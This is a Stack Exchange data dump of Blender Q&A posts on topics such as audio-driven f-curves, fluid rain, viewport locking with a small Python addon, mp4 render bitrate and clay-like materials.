  <row Id="4921" PostTypeId="1" AcceptedAnswerId="4932" CreationDate="2013-11-16T21:05:10.383" Score="2" ViewCount="542" Body="&lt;p&gt;I created some f-curves for different frequencies from an MP3 files, using the &quot;&lt;em&gt;bake sound from f-curve&lt;/em&gt;&quot; function from the &lt;em&gt;Key&lt;/em&gt; menu in the &lt;em&gt;f-curves editor&lt;/em&gt;. The curves are assigned to a keyframe and scale the cubes while the music plays the MP3 has been added as a sound strip in VSE (looks like spectrum analyzer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could the f-curves be used in the BGE, could they possibly assigned to an action?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QeCce.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="2217" LastEditDate="2014-07-29T14:36:52.097" LastActivityDate="2018-04-12T11:53:11.057" Title="How can a f-curve be used in an animation in BGE?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4922" PostTypeId="1" CreationDate="2013-11-16T23:42:49.000" Score="2" ViewCount="457" Body="&lt;p&gt;I want to add some knolls onto a ground surface by using textures. Currently it looks terrible and I don't know how to integrate it properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best procedure to do this? At the moment the stones do not look integrated into the knoll, there is a sharp border around it and it does not look natural.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use the bump map of the stone texture and then to texture paint over this bump with the sand texture stamp. How can I realize this in blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally I want to work in Cycles. Does it make sense to create the textures in Blender Internal mode at first and then add the created texture to a material in Cycles mode? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest this method because the handling of texturing is much easier in Blender Internal than in Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current picture is like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ghwDo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1623" LastEditorUserId="894" LastEditDate="2016-05-06T07:22:25.883" LastActivityDate="2016-06-05T20:58:53.817" Title="How to integrate knoll to soil?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4923" PostTypeId="1" AcceptedAnswerId="4928" CreationDate="2013-11-16T23:57:51.710" Score="5" ViewCount="1477" Body="&lt;p&gt;I have a set up with a number of orthogonal viewports, and I would like them to jump to whatever is currently selected. I know I can press 'View lock to selected', which moves the viewport along when I move an object, but if I start to work on another object, I have to issue the command again for every viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far the closest I've come is to go to the properties of each viewport &lt;kbd&gt;N&lt;/kbd&gt; and under View, select 'Lock to cursor' (which locks the view to the 3d cursor) then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; and 'Cursor to selected', which is reasonably easy. But can I just make it lock to (and zoom to extents of) whichever object I have selected?&lt;/p&gt;&#xA;" OwnerUserId="1574" LastActivityDate="2013-11-17T18:13:01.790" Title="Can I lock the viewport to always jump to what is currently selected?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4924" PostTypeId="2" ParentId="4923" CreationDate="2013-11-17T00:05:09.637" Score="2" Body="&lt;p&gt;As far as I'm aware there is no way to do this currently without using some custom Python code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I'm not a Python programmer the most I can do for you is tell you the basic logic for that, but that's about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to write a script that is called upon object selection, and changes the view lock to the selected object.&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-11-17T00:05:09.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4925" PostTypeId="1" CreationDate="2013-11-17T00:37:03.843" Score="11" ViewCount="3023" Body="&lt;p&gt;Is it possible to simulate rain with the fluid simulator?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to do something with a bunch of &lt;em&gt;Inflow&lt;/em&gt; cubes that get enabled and disabled, however this is &lt;em&gt;very&lt;/em&gt; tedious. Is there a better way?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I realize that using a fluid simulation is probably overkill, I'm attempting this as a test. I should also note that I only want this for the simulation of the impact of the droplets on a hard surface, so I only need to simulate ~50 or so droplets&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-18T21:54:05.677" LastActivityDate="2015-05-13T20:29:18.190" Title="Is it possible to create a fluid simulation of rain?" Tags="&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="15" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4926" PostTypeId="2" ParentId="4923" CreationDate="2013-11-17T00:48:38.907" Score="2" Body="&lt;p&gt;You could probably experiment using this with what you have tried so far but if I am reading your question correctly, instead of your current workflow you could achieve something similar sans the single step a script would solve by just zooming to the object once you are in that viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just select the object and press &lt;kbd&gt;Numpad&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt; (period).&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-11-17T13:10:55.097" LastActivityDate="2013-11-17T13:10:55.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4927" PostTypeId="2" ParentId="4925" CreationDate="2013-11-17T01:39:50.290" Score="5" Body="&lt;p&gt;You can try the &lt;em&gt;Fluid&lt;/em&gt; physics type in a particle emitter :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a particle system to a plane and configure it the way you want (number, start, max age...)&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;em&gt;Physics&lt;/em&gt; panel, select &lt;em&gt;Fluid&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select the object you want the particles to run down on&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;em&gt;Collision&lt;/em&gt; physics modifier to this object (make sure it has enough faces), with &lt;em&gt;particle damping Factor&lt;/em&gt; set to &lt;code&gt;1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;hit play and:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JF4qH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lx5V9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N92RZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, you just have to create a nice shader (this one is a blueish transparent shader, just for demonstration, very bad)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this type of simulation is not very realistic and some tweaks may be needed to suit your needs. It's just a track...&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="599" LastEditDate="2013-11-17T03:14:30.050" LastActivityDate="2013-11-17T03:14:30.050" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4928" PostTypeId="2" ParentId="4923" CreationDate="2013-11-17T02:27:13.603" Score="3" Body="&lt;p&gt;Note that there is a keyboard shortcut for locking the view to the selected object, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Numpad .&lt;/kbd&gt; (Not sure if you knew already or not, but It might make your workflow faster)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Python:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You could use the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/contents.html&quot; rel=&quot;nofollow&quot;&gt;python api&lt;/a&gt; to create a simple script to lock the view to the selected object for all 3D views:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        for space in area.spaces:&#xA;            if space.type == 'VIEW_3D':&#xA;                if space.region_3d.view_perspective == 'ORTHO': # if view is orthographic, do the following:&#xA;                    space.lock_object = bpy.context.object # Set the view lock object to the active object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the above code made into an addon based on the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/info_tutorial_addon.html&quot; rel=&quot;nofollow&quot;&gt;addon tutorial in the Blender API reference&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Lock all views to active&quot;,&#xA;    &quot;category&quot;: &quot;3D View&quot;,&#xA;    &quot;description&quot;: &quot;Sets all the 3D views to be locked to the active object&quot;,&#xA;    &quot;location&quot;: &quot;Ctrl+Shift+Space&quot;,&#xA;}&#xA;&#xA;import bpy&#xA;&#xA;&#xA;class ViewLockAll(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Lock all views to selected objects&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.lock_all_to_active&quot;&#xA;    bl_label = &quot;Lock all views to active object&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        for area in bpy.context.screen.areas:&#xA;            if area.type == 'VIEW_3D':&#xA;                for space in area.spaces:&#xA;                    if space.type == 'VIEW_3D':&#xA;                        if space.region_3d.view_perspective == 'ORTHO':&#xA;                            space.lock_object = bpy.context.object&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;addon_keymaps = []&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ViewLockAll)&#xA;&#xA;    # handle the keymap&#xA;    wm = bpy.context.window_manager&#xA;    km = wm.keyconfigs.addon.keymaps.new(name='Object Mode', space_type='EMPTY')&#xA;    kmi = km.keymap_items.new(ViewLockAll.bl_idname, 'SPACE', 'PRESS', ctrl=True, shift=True)&#xA;    addon_keymaps.append((km, kmi))&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ViewLockAll)&#xA;&#xA;    # handle the keymap&#xA;    for km, kmi in addon_keymaps:&#xA;        km.keymap_items.remove(kmi)&#xA;    addon_keymaps.clear()&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can install this like any other addon. It will create an operator called &lt;code&gt;ViewLockAll&lt;/code&gt; and a keyboard shortcut &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt; for calling it.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-17T18:13:01.790" LastActivityDate="2013-11-17T18:13:01.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4929" PostTypeId="1" CreationDate="2013-11-17T03:10:47.720" Score="3" ViewCount="1323" Body="&lt;p&gt;I attempted to create a dripping effect like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4V1On.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4V1On.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a curved surface using &lt;a href=&quot;http://www.blenderguru.com/videos/how-to-make-a-rainy-window/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this technique&lt;/a&gt;, however the long particles don't conform to the surface, looking very unrealistic (it looks particularly bad on sharp corners).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to get this effect, or a way to use this technique on a curved surface?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I want to make the particles stick to the surface (while still being able to slide freely) and somehow leave trails behind them.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Image from &lt;a href=&quot;http://www.blenderguru.com/videos/how-to-make-a-rainy-window/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Guru&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="32220" LastEditDate="2019-01-02T19:50:17.810" LastActivityDate="2019-01-02T19:50:17.810" Title="Is there a way to shrink particles to mesh surface?" Tags="&lt;physics&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="4930" PostTypeId="1" AcceptedAnswerId="4931" CreationDate="2013-11-17T03:54:09.343" Score="8" ViewCount="5363" Body="&lt;p&gt;I have imported a 337 MB mp4 video file with no audio into Blender. In Blender, I am primarily just adding audio and then rendering back out to mp4. However, the rendered video quality is drastically lower, making much of the text in the video unreadable. The size of the output file is 65.7 MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this image you can see my output settings:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VlHGX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me what I am doing wrong? How can I get a higher quality render to mp4?&lt;/p&gt;&#xA;" OwnerUserId="1625" LastActivityDate="2020-11-28T20:04:26.293" Title="Low quality mp4 renders" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4931" PostTypeId="2" ParentId="4930" CreationDate="2013-11-17T05:48:46.187" Score="5" Body="&lt;p&gt;You should increase the &lt;strong&gt;bitrate&lt;/strong&gt;. It determines the compression of the video data.&lt;br&gt;&#xA;A starting point could be to set the bitrate as least as high as in the input file, and then add the Mp3 rate of 192kbs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1920 x 1080 = 2,073,600 pixel count &#xA;24 frames per second &#xA;4 = High Motion &#xA;&#xA;(2,073,600 x 24) x 4 x 0.07 = 13,934,592 bps / 1024 = 13,608 kbps bitrate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See sections 4 (Quality versus Streaming) and 5 (Starting Points), in &lt;a href=&quot;http://www.ezs3.com/public/What_bitrate_should_I_use_when_encoding_my_video_How_do_I_optimize_my_video_for_the_web.cfm&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="527" LastEditDate="2013-11-17T10:54:40.557" LastActivityDate="2013-11-17T10:54:40.557" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4932" PostTypeId="2" ParentId="4921" CreationDate="2013-11-17T06:28:40.363" Score="2" Body="&lt;p&gt;F-curve is generally used for controlling actions, I assume that you were asking &quot;how to use action in BGE&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way is to set the &lt;strong&gt;Actuator&lt;/strong&gt; type to &lt;strong&gt;Action&lt;/strong&gt;. Then choose the action you want, and tweak a few settings within it, as shown below. Hope I didn't misunderstand that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F5EMY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: I'm feeling that I sort of misunderstood that, did I? :-\&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-11-17T06:42:55.997" LastActivityDate="2013-11-17T06:42:55.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4934" PostTypeId="1" AcceptedAnswerId="4935" CreationDate="2013-11-17T11:39:13.823" Score="3" ViewCount="1277" Body="&lt;p&gt;In a fight scene I have several actions where the movement is only limted by the freedom of movement of the rigged bones. When a punch hits the body of the other character it shouldn't penetrate the body hit it should rather push it away or stop when the collision is detected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NHH3y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be achieved with rigid body constraints?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two characters are linked into the scene and have proxies, &#xA;I tried several settings in this dialog but whatever I do it seems to have no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fysmM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-11-17T12:33:11.033" LastActivityDate="2013-11-17T12:33:11.033" Title="How could penetration between human models be avoided?" Tags="&lt;animation&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4935" PostTypeId="2" ParentId="4934" CreationDate="2013-11-17T12:09:06.190" Score="4" Body="&lt;p&gt;No, Blender isn't capable of doing that (yet). I've tried combining armature-based animation with physics-based cloth/rigid body simulation, and the latter always override any manual animation I've made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd try to limit the range of punch based on bounding-box proximity between the two characters, or trigger a knocked-back animation (faster than the punch animation) depending on how far the punch animation is played + bounding-box proximity.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-17T12:09:06.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4936" PostTypeId="1" AcceptedAnswerId="4937" CreationDate="2013-11-17T14:08:03.603" Score="5" ViewCount="1267" Body="&lt;p&gt;I am creating an axe, I currently have this outline that I traced from a background image. I have converted it to a mesh from a Bezier curve using &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;, but now I want to give it some depth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add resolution to the large NGON face? I need resolution so that I can chamfer the edges towards the sharp points on each side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what my mesh looks like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kt1QU.png&quot; alt=&quot;Mesh converted from Bezier curve.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1626" LastEditorUserId="12" LastEditDate="2013-11-17T14:59:19.200" LastActivityDate="2013-11-19T20:59:07.610" Title="How to add resolution to a mesh created from a curve" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4937" PostTypeId="2" ParentId="4936" CreationDate="2013-11-17T14:58:04.350" Score="4" Body="&lt;p&gt;The easiest way to go about this would be to make use of an addon called &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?179375-Addon-Edge-fillet-and-other-bmesh-tools-Update-Jan-11&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;SIRE outline&lt;/em&gt;&lt;/a&gt;. Also see &lt;a href=&quot;https://blender.stackexchange.com/a/1092/12&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have installed it. It should appear in the &lt;em&gt;Toolshelf&lt;/em&gt;, &lt;kbd&gt;T&lt;/kbd&gt;. What you should be after early is supporting geometry with good edgeflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qs3f1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;em&gt;Inset&lt;/em&gt; feature of the addon and offset your outline to the desired amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7igKh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, it's just a matter of filling in the even faces and for the rest, you have the supporting geometry near the curved edges so a ngon should suffice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zcFW0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, it is as simple as extruding the model, giving it some depth and chamfering the edges. If you should also need to smooth the model, to keep it sharp simply add edgeloops to the edges or make use of the crease tool.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2013-11-17T14:58:04.350" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4938" PostTypeId="1" CreationDate="2013-11-17T16:07:00.060" Score="3" ViewCount="3310" Body="&lt;p&gt;I am new to blender and I am trying to add a clay like material to an object in blender.&lt;br&gt;&#xA;I tried using a material but I want the object to have a rough imperfect dull surface like play-doh. Is it even possible to do that?&lt;/p&gt;&#xA;" OwnerUserId="1627" LastEditorUserId="599" LastEditDate="2013-11-17T17:25:49.007" LastActivityDate="2013-11-17T17:25:49.007" Title="How to make an object have a clay like surface?" Tags="&lt;modeling&gt;&lt;materials&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4939" PostTypeId="2" ParentId="4938" CreationDate="2013-11-17T16:38:11.773" Score="1" Body="&lt;p&gt;For a clay material, simply set the &lt;em&gt;Specularity&lt;/em&gt; to 0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zw6RK.png&quot; alt=&quot;Specular light disabled in Blender Internal&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4ivhT.png&quot; alt=&quot;Clay render in Blender Internal&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want it to be more like &quot;play-doh&quot; you might want to raise the specular lighting by a bit (maybe to 0.1), but it will also be important to actually deform the model some. &lt;a href=&quot;http://lh5.ggpht.com/_sw09_UT9jqE/TJFSht9JXGI/AAAAAAAADfU/aWleXUXsC1w/008_thumb%5B2%5D.jpg?imgmax=800&quot; rel=&quot;nofollow noreferrer&quot;&gt;Play-doh shapes&lt;/a&gt; aren't perfectly smooth. I find that using a &lt;em&gt;Voronoi texture&lt;/em&gt; on a &lt;em&gt;Displace&lt;/em&gt; modifier, followed by a &lt;em&gt;Cast to Sphere&lt;/em&gt;, works pretty well. Here's an exaggerated image and a more realistic image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TMSLT.png&quot; alt=&quot;Exaggerated displacement&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/h83CW.png&quot; alt=&quot;More realistic displacement&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, here's the modifiers and texture setup I used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MQE3a.png&quot; alt=&quot;Modifier setup&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZwNkl.png&quot; alt=&quot;Texture setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="12" LastEditDate="2013-11-17T17:04:11.277" LastActivityDate="2013-11-17T17:04:11.277" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4940" PostTypeId="2" ParentId="4929" CreationDate="2013-11-17T17:52:06.427" Score="2" Body="&lt;p&gt;Sardi Pax released a tutorial for applying metaball particles as raindrops to glass, I believe there is no reason that prevents his method from being applied to a curved surface.&#xA;If this method is used instead of sculpted particles, they should conform to a non planar surface.&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=RDte-IzvHlg&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=RDte-IzvHlg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2013-11-17T20:21:45.280" LastActivityDate="2013-11-17T20:21:45.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4941" PostTypeId="1" CreationDate="2013-11-17T18:13:27.120" Score="7" ViewCount="1522" Body="&lt;p&gt;In my output video there a pulse that occurs after the number of frames specified in the &quot;GOP Size&quot; setting. With the setting of 18 that I have in the image shown below, the pulse occurs every 18 frames. During this &quot;pulse&quot;, the video seems to move to a lower picture quality and then quickly returns back to a high quality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my output settings:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DN3ZP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set &quot;GOP Size&quot; to zero, the picture quality of the video degrades substantially. The maximum value for &quot;GOP Size&quot; seems to be 100, so the pulses occur a little over 3 seconds apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do to alleviate this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what I might be doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1625" LastEditorUserId="1625" LastEditDate="2013-11-17T19:05:06.363" LastActivityDate="2016-01-27T18:48:34.820" Title="Rendered video pulses to lower quality and back to high quality" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4942" PostTypeId="2" ParentId="4835" CreationDate="2013-11-17T19:35:01.147" Score="1" Body="&lt;p&gt;After a bit of more searching I found &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?280731-VSE-Transform-tool&quot; rel=&quot;nofollow&quot;&gt;VSE Transform tool&lt;/a&gt; which does exactly what I needed.&#xA;If you apply it to raw clip it scales it to keep it's aspect ratio while keeping it centered and stretched to either fit width or height (so you see whole video as big as it can be).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition you can manipulate (translate, scale and rotate) directly in preview window. And add keyframes. And probably something else I haven't yet discovered/used.&lt;/p&gt;&#xA;" OwnerUserId="1030" LastActivityDate="2013-11-17T19:35:01.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4943" PostTypeId="2" ParentId="2970" CreationDate="2013-11-17T20:59:44.643" Score="4" Body="&lt;p&gt;I once had a very similar problem. &#xA;Maybe this cool script by Witold Jaworski may become helpful.&#xA;&lt;a href=&quot;http://airplanes3d.net/scripts-253_e.xml&quot; rel=&quot;nofollow&quot;&gt;http://airplanes3d.net/scripts-253_e.xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it takes two meshes and creates an edge loop in the intersection. From that you can easily rework your meshes to get the desired effect. I find it very useful and in many cases much better then the original boolean operations (which create a lot of bad topology on the meshes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The description about how to use it is available at the link above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it will help you and other Blender Users :)&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2013-11-17T20:59:44.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4945" PostTypeId="2" ParentId="4918" CreationDate="2013-11-17T21:53:57.193" Score="0" Body="&lt;p&gt;This could happen if both objects &lt;strong&gt;already have a material&lt;/strong&gt; before being joined. Blender will copy all materials assigned in the source object to the destination object, all faces still assigned to the same material prior to joining. When you're creating a new texture, it's &lt;em&gt;only assigned to one material&lt;/em&gt;, so it doesn't show up on faces still assigned to other materials when rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object's UV image could still be shown as you intended in the viewport, because it's assigned through &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.MeshTextureFace.html#bpy.types.MeshTextureFace.image&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;image&lt;/code&gt;&lt;/a&gt; attribute of the object's UV map. It doesn't rely on &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Texture.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Texture&lt;/code&gt;&lt;/a&gt; data at all. But what's rendered, do rely on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, &lt;em&gt;remove&lt;/em&gt; the unwanted material's slot, &lt;em&gt;assign faces&lt;/em&gt; from the other object to the intended material, or &lt;em&gt;assign the same texture&lt;/em&gt; to all materials in the object.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-17T21:53:57.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
